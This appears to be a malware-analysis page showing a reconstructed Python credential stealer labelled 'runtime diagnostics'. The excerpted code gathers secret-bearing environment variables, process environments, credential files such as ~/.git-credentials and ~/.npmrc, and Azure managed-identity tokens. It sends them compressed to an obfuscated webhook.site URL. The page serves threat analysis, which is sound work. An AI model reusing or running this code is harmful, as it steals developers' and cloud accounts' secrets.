an atomdrift project
Hostile 100% python Download

reconstructed_runtime_diag.py

Exfiltrates credentials to external webhook

Developer credential sweep with encoded uploadSecret env selection near urllib JSON request
SHA-256288801c19fb3d67643facc9b9af91a950e9935845c35c3640b6a848ba19fb438

Evidence

urllib Request carries serialized JSON data lines 1–48
1# Static reconstruction from the cited Elastic and OpenSourceMalware analyses.
2# Collector entry point is deliberately not invoked; not original release bytes.
3import os
4import glob
5import json
6import base64
7import zlib
8import urllib.request
9import urllib.parse
10
11_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
12
13def _post(tag, data):
14 try:
15 u = base64.b64decode(_ENC).decode()
16 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
17 req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "runtime-diagnostics/1"})
18 urllib.request.urlopen(req, timeout=25).read()
19 except Exception:
20 pass
21
22def collect():
23 terms = ("TOKEN", "SECRET", "PASSWORD", "KEY", "AZURE", "AWS", "GITHUB")
24 out = {"env": {}, "files": {}, "ado": {}, "gh_oidc": {}, "identity": {}}
25 for k, v in os.environ.items():
26 if any(x in k.upper() for x in terms):
27 out["env"][k] = v
28 for e in glob.glob("/proc/[0-9]*/environ")[:300]:
29 try:
30 raw = open(e, "rb").read().decode("utf-8", "replace")
31 hits = []
32 for kv in raw.split("\x00"):
33 if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
34 hits.append(kv[:2000])
35 if hits:
36 out["env"]["PROC:" + e] = "\n".join(hits)[:12000]
37 except Exception:
38 pass
39 for pattern in ("~/.azure/*.json", "~/.npmrc", "~/.netrc", "~/.git-credentials", "~/.docker/config.json", "~/.cache/huggingface/token"):
40 for path in glob.glob(os.path.expanduser(pattern)):
41 try:
42 if os.path.getsize(path) < 262144 and len(out["files"]) < 80:
43 out["files"][path] = open(path).read()
44 except Exception:
45 pass
46 at = os.environ.get("SYSTEM_ACCESSTOKEN") or ""
47 oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
48 if oe and at:
References the OAuth 2 protocol lines 67–78
67:7… except Exception:
68 pass
69 for resource in ("https://management.azure.com/", "https://vault.azure.net", "https://storage.azure.com/"):
70 try:
71 endpoint = os.environ.get("IDENTITY_ENDPOINT") or os.environ.get("MSI_ENDPOINT")
72 if not endpoint:
73 endpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
74 req = urllib.request.Request(endpoint + "?api-version=2018-02-01&resource=" + urllib.parse.quote(resource), headers={"Metadata": "true"})
75 out["identity"][resource] = urllib.request.urlopen(req, timeout=12).read().decode()
76 except Exception:
77 pass
78 _po …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.